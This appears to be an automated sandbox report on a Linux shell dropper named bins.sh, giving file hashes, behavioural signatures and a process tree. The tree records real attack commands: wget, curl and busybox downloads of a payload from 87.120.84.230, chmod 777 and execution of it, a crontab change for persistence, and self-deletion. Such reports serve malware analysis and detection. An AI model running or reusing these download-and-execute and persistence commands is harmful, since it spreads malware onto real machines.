Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14098e895eaadb9f68f8e40895c177ba

  • SHA1

    baf00e9b0740c1cc656a593b495ae13a83652365

  • SHA256

    0811630a850f847ee28ed9078eca2e17104ec41ee010ab5fe76f8998e47a4f31

  • SHA512

    ba10314092b24656d1ec96ee7e33f67c7f23412994699ec0407069d839ef2b6039cb9bb5726acb4cec4ec298174429cb9d8eac9031842dc62964abd0e5d7064f

  • SSDEEP

    192:SFme4ZpdqRh1vsk3C+ii+ZkOe6rm2m8sk3C++pdqRhNne6rm2YKxmeh:PMvsk3C+iitOe6rm2m8sk3C+Ve6rm2Z

Malware Config

Signatures

  • Contacts a large (2213) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1513
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1514
        • /bin/chmod
          chmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • File and Directory Permissions Modification
          PID:1515
        • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          ./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:1516
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1518
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1519
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1520
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1521
              • /bin/rm
                rm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
                2⤵
                • System Network Configuration Discovery
                PID:1523
              • /usr/bin/wget
                wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
                2⤵
                  PID:1526

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq

                Filesize

                112KB

                MD5

                05d7857dcead18bbd86d2935f591873c

                SHA1

                34d18f41ef35f93d5364ce3e24d74730a4e91985

                SHA256

                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                SHA512

                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

              • /var/spool/cron/crontabs/tmp.UQeoOo

                Filesize

                210B

                MD5

                e15d026c5c3394c5edb518cc538e717f

                SHA1

                66723733527a26331c046df1408b770f64218cd2

                SHA256

                18d6203ed71555e85fadff37c9f2fd7c20e619420ad9f98ea5ce768b62139b65

                SHA512

                b772ab581d3cd2a7001d2aa3c8c30e4a0cf7e657c8a533f490d657eb693eb62f43e4923c82e290fb4deb4935accb3ff5b3f4d0d3f93433b6195eb55b409f55d4